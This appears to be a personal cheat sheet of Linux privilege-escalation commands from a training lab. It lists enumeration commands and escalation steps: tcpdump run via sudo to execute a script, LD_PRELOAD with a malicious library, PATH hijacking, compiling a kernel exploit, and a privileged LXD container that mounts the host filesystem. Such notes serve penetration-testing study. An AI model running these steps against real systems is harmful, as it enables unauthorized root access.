hi@hectortoral.com

2 min read

CommandDescription
ssh htb-student@<target IP>SSH to lab target
ps aux | grep rootSee processes running as root
ps auSee logged in users
ls /homeView user home directories
ls -l ~/.sshCheck for SSH keys for current user
historyCheck the current user’s Bash history
sudo -lCan the user run anything as another user?
ls -la /etc/cron.dailyCheck for daily Cron jobs
lsblkCheck for unmounted file systems/drives
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/nullFind world-writeable directories
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/nullFind world-writeable files
uname -aCheck the Kernel versiion
cat /etc/lsb-releaseCheck the OS version
gcc kernel_expoit.c -o kernel_expoitCompile an exploit written in C
screen -vCheck the installed version of Screen
./pspy64 -pf -i 1000View running processes with pspy
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/nullFind binaries with the SUID bit set
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/nullFind binaries with the SETGID bit set
sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z rootPriv esc with tcpdump
echo $PATHCheck the current user’s PATH variable contents
PATH=.:${PATH}Add a . to the beginning of the current user’s PATH
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/nullSearch for config files
ldd /bin/lsView the shared objects required by a binary
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restartEscalate privileges using LD_PRELOAD
readelf -d payroll | grep PATHCheck the RUNPATH of a binary
gcc src.c -fPIC -shared -o /development/libshared.soCompiled a shared libary
lxd initStart the LXD initialization process
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpineImport a local image
lxc init alpine r00t -c security.privileged=trueStart a privileged LXD container
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=trueMount the host file system in a container
lxc start r00tStart the container
showmount -e 10.129.2.12Show the NFS export list
sudo mount -t nfs 10.129.2.12:/tmp /mntMount an NFS share locally
tmux -S /shareds new -s debugsessCreated a shared tmux session socket
./lynis audit systemPerform a system audit with Lynis